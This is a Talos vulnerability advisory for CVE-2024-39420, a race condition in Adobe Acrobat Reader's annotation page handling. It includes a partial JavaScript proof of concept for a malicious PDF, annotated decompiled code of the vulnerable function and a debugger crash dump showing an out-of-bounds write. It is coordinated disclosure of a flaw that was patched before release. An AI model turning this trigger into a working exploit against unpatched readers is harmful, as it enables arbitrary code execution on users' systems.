Talos Vulnerability Report

TALOS-2024-2011

Adobe Acrobat Reader Annotation Object Page Race Condition Vulnerability

September 10, 2024
CVE Number

CVE-2024-39420

SUMMARY

A time-of-check time-of-use vulnerability exists in Adobe Acrobat Reader 2024.002.20759. A specially crafted Javascript code inside a malicious PDF document can trigger memory corruption due to a race condition which could result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Adobe Acrobat Reader 2024.002.20759

PRODUCT URLS

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition

DETAILS

Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs.

Adobe’s PDF Reader supports different types of annotation objects. Each annotation object includes a page property that specifies the page number where the annotation is located. There exists a time-of-check time-of-use vulnerability in the way Adobe Acrobat Reader handles an annotation object page property. This can be illustrated by the following proof-of-concept code:

function main() { 

    app.activeDocs[0].layout = "TwoColumnLeft"; 
    app.activeDocs[0].scroll();
    app.activeDocs[0].submitForm({cURL:event.shift,  bAnnotations:true}); 

}

[...]
   function set_annot() {
   
    var square_annot = {page: 0, type: "Square", point: [18,14,3,6]}; 
    app.activeDocs[0].getAnnots()[0].setProps(square_annot);

}

When a PDF with the specified JavaScript code is opened by the application, it triggers a call to the AnnotsExportNotes function, which in turn invokes the following vulnerable function:

  v9 = *(void (__cdecl **)(_DWORD, void (__noreturn *)()))(dword_688BCDF4 + 8);
  v49 = 2;
  v9(0, sub_68191F20);
  page_annot_ptr = (wchar_t *)ASSureCalloc(8, total_page_num);        //<------------------------------------------------- (1)
  (*(void (__thiscall **)(_DWORD))(dword_688BCDF4 + 12))(*(_DWORD *)(dword_688BCDF4 + 12));
  v49 = -1;
  word_688BD21C = a3;
  gbPreserveAnnotNames = a4;
  gbIgnoreFiltration = a5;

  [...]

   for ( i = *v10; i != v10[1]; ++i )   //<------------------------------------------------- (2)
  {
    v46 = *i;
    v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v46 + 24))(v46); //<------------------------------------------------- (3) 
    v14 = (int **)v15;
    if ( v15 >= 0 && v15 < total_page_num )
    {
      v42 = (wchar_t *)*((_DWORD *)dword_688BCE18 + 15);
      v46 = *i;
      v16 = (_DWORD *)(*(int (__thiscall **)(int, __int16 *, int))(*(_DWORD *)v46 + 20))(v46, v38, 1);// calls CPDAnnot::getPopup
      v17 = ((int (__thiscall *)(wchar_t *, _DWORD, _DWORD))v42)(v42, *v16, v16[1]);
      *(_DWORD *)&page_annot_ptr[4 * (_DWORD)v14] += (v17 != 0) + 1; //<------------------------------------------------- (4)
    }
    v10 = a2;
  }
  total_page_num_1 = total_page_num;

  index = 0;
  for ( v46 = 0; index < total_page_num_1; v46 = index )  //<------------------------------------------------- (5)
  {
    annot_buffer = (*((int (__cdecl **)(int))dword_688BCE00 + 1))(8 * *(_DWORD *)&page_annot_ptr[4 * index]); //<------------------------- (6)
    j_1 = v46;
    *(_DWORD *)&page_annot_ptr[4 * v46 + 2] = annot_buffer; //<------------------------- (7)
    *(_DWORD *)&page_annot_ptr[4 * j_1] = 0;
    index = j_1 + 1;
  }

  CPDAnnot = a2;                               
   for ( j = *a2; j != CPDAnnot[1]; ++j )   //<------------------------- (8)
  {
    v14 = (int **)*j;
    page_1 = ((int (__thiscall *)(int **))(*v14)[6])(v14); //<------------------------- (9)
    v46 = page_1;                                          //<------------------------- (10)
    if ( page_1 >= 0 && page_1 < total_page_num )
    {
      if ( *(_DWORD *)&page_annot_ptr[4 * page_1 + 2] )
      {
        v14 = (int **)*j;
        annot = (int *)((int (__thiscall *)(int **, __int16 *))(*v14)[4])(v14, v37);// CPDAnnot__getAnnot
        v26 = page_annot_ptr;
        v27 = *annot;
        v14 = (int **)annot[1];
        write_to_it_buffer_1 = *(_DWORD *)&page_annot_ptr[4 * v46 + 2];
        v29 = *(_DWORD *)&page_annot_ptr[4 * v46];
        *(_DWORD *)(write_to_it_buffer_1 + 8 * v29) = v27;
        *(_DWORD *)(write_to_it_buffer_1 + 8 * v29 + 4) = v14;
        ++*(_DWORD *)&v26[4 * v46];
        v14 = (int **)*j;
        ((void (__thiscall *)(int **, wchar_t *, int))(*v14)[5])(v14, v_data_A, 1);
        if ( (*((unsigned __int16 (__cdecl **)(_DWORD, wchar_t *))dword_688BCE18 + 15))(*(_DWORD *)v_data_A, v_data_B_1) )
        {
          v_data_B = v_data_B_1;
          v42 = page_annot_ptr;
          annot_buffer_1 = *(_DWORD *)&page_annot_ptr[4 * v46 + 2]; //<------------------------- (11)
          v32 = *(_DWORD *)&page_annot_ptr[4 * v46];
          *(_DWORD *)(annot_buffer_1 + 8 * v32) = *(_DWORD *)v_data_A; //<------------------------- (12)
          *(_DWORD *)(annot_buffer_1 + 8 * v32 + 4) = v_data_B;
          ++*(_DWORD *)&v42[4 * v46];
        }
      }
    }
    CPDAnnot = a2;
  }

At (1), ASSureCalloc is called to allocate a buffer, named page_annot_ptr, of the size (8 * total_page_num). For each page, page_annot_ptr contains a size (annot_size) followed by a buffer (annot_buffer).

A loop starts at (2) which reads annot_size for each page and stores it in page_annot_ptr at (4). The index value comes from v14, whose value is obtained by the call to CPDAnnot::getPage at (3).

The loop starts at (5) reads annot_size and creates annot_buffer. The malloc function is called at (6) to allocate annot_buffer of the size (8 * annot_size). Later, it was stored in page_annot_ptr at (7).

The loop starts at (8) sets the annot_buffer buffer. It calls CPDAnnot::getPage at (9). This method takes CPDAnnot object as an argument. In the vulnerable condition, the CPDAnnot object is updated which gives a different page number when CPDAnnot::getPage is called. The retrieved page number is stored in v46 at (10), and is later used as an index to access annot_buffer. Note that, if the page number has changed by the time of use, it will lead to access to an annot_buffer from a different page. An out of bounds write occurs at (12) when the different type of annot_buffer is accessed. Following can be observed at the time of the crash:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=47ab2fe8 ecx=ba448ff8 edx=c0010000 esi=c0e90ff8 edi=0000001b
eip=681d22eb esp=0479d418 ebp=0479d474 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
Annots!PlugInMain+0xc4f7b:
681d22eb 8914c1          mov     dword ptr [ecx+eax*8],edx ds:002b:ba449000=????????
0:000> dd ecx
ba448ff8  c0010000 00000019 ???????? ????????
ba449008  ???????? ???????? ???????? ????????
ba449018  ???????? ???????? ???????? ????????
ba449028  ???????? ???????? ???????? ????????
ba449038  ???????? ???????? ???????? ????????
ba449048  ???????? ???????? ???????? ????????
ba449058  ???????? ???????? ???????? ????????
ba449068  ???????? ???????? ???????? ????????
0:000> u
Annots!PlugInMain+0xc4f7b:
681d22eb 8914c1          mov     dword ptr [ecx+eax*8],edx
681d22ee 897cc104        mov     dword ptr [ecx+eax*8+4],edi
681d22f2 8b45d4          mov     eax,dword ptr [ebp-2Ch]
681d22f5 8b4de4          mov     ecx,dword ptr [ebp-1Ch]
681d22f8 ff04c8          inc     dword ptr [eax+ecx*8]
681d22fb 8b450c          mov     eax,dword ptr [ebp+0Ch]
681d22fe 83c604          add     esi,4
681d2301 3b7004          cmp     esi,dword ptr [eax+4]
0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0479d474 681d739d     3f904b68 c0e8eff0 00000000 Annots!PlugInMain+0xc4f7b
01 0479d4a0 6841b9b6     3f904b68 00000000 00000000 Annots!PlugInMain+0xca02d
02 0479d510 69e2733a     0479d580 00000000 d383c575 Annots!PlugInMain+0x30e646
03 0479d550 69e271e2     47ab2fe8 0479d580 0479df18 AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x209ba
04 0479d560 69ffb2fe     0000000a 0479d580 d383cf3d AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x20862
05 0479df18 69f17857     00000988 0479e3c8 69f17857 AcroForm!IWRFontInfo::HasGlyphlets+0x8692e
06 0479e3c0 68c91c1a     69f15e10 68c91c1a 4c0a0fb8 AcroForm!IWRFontAccess::WRGetGlyphNames+0x20087
07 0479e518 68b70ddb     52c78000 00000001 52da90c0 EScript!PlugInMain+0x176ea
08 00000000 00000000     00000000 00000000 00000000 EScript!mozilla::HashBytes+0x340cb

Depending on the memory layout of the process, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.

TIMELINE

2024-06-26 - Vendor Disclosure
2024-08-13 - Vendor Patch Release
2024-09-10 - Public Release

Credit

Discovered by KPC of Cisco Talos.